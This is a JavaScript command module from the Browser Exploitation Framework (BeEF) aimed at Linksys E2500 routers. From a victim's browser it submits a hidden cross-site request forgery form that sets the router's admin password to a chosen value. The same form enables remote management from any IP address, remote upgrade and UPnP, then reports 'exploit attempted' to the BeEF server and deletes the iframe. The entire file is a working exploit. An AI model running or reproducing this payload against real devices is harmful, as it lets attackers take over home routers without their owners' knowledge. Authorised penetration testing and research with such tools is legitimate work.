//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var port    = '<%= @port %>';
  var gateway = '<%= @base %>'; 
  var passwd  = '<%= @password %>';
  var timeout = 15;

  var e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST", "application/x-www-form-urlencoded",
       [{'type':'hidden', 'name':'submit_button', 'value':'Management'} ,
       {'type':'hidden', 'name':'change_action', 'value':''},
       {'type':'hidden', 'name':'action', 'value':'Apply'},
       {'type':'hidden', 'name':'PasswdModify', 'value':'1'},
       {'type':'hidden', 'name':'http_enable', 'value':'1'},
       {'type':'hidden', 'name':'https_enable', 'value':'0'},
       {'type':'hidden', 'name':'ctm404_enable', 'value':''},
       {'type':'hidden', 'name':'remote_mgt_https', 'value':'1'},
       {'type':'hidden', 'name':'wait_time', 'value':'4'},
       {'type':'hidden', 'name':'need_reboot', 'value':'0'},
       {'type':'hidden', 'name':'http_passwd', 'value':passwd},
       {'type':'hidden', 'name':'http_passwdConfirm', 'value':passwd},
       {'type':'hidden', 'name':'_http_enable', 'value':'1'},
       {'type':'hidden', 'name':'_https_enable', 'value':'0'},
       {'type':'hidden', 'name':'web_wl_filter', 'value':'0'},
       {'type':'hidden', 'name':'remote_management', 'value':'1'},
       {'type':'hidden', 'name':'_remote_mgt_https', 'value':'0'},
       {'type':'hidden', 'name':'remote_upgrade', 'value':'1'},
       {'type':'hidden', 'name':'remote_ip_any', 'value':'1'},
       {'type':'hidden', 'name':'http_wanport', 'value':port},
       {'type':'hidden', 'name':'nf_alg_sip', 'value':'0'},
       {'type':'hidden', 'name':'upnp_enable', 'value':'1'},
       {'type':'hidden', 'name':'upnp_config', 'value':'1'},
       {'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'}
      ]);
  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(e2500_iframe_<%= @command_id %>);
  }
  setTimeout("cleanup()", timeout*1000);

});

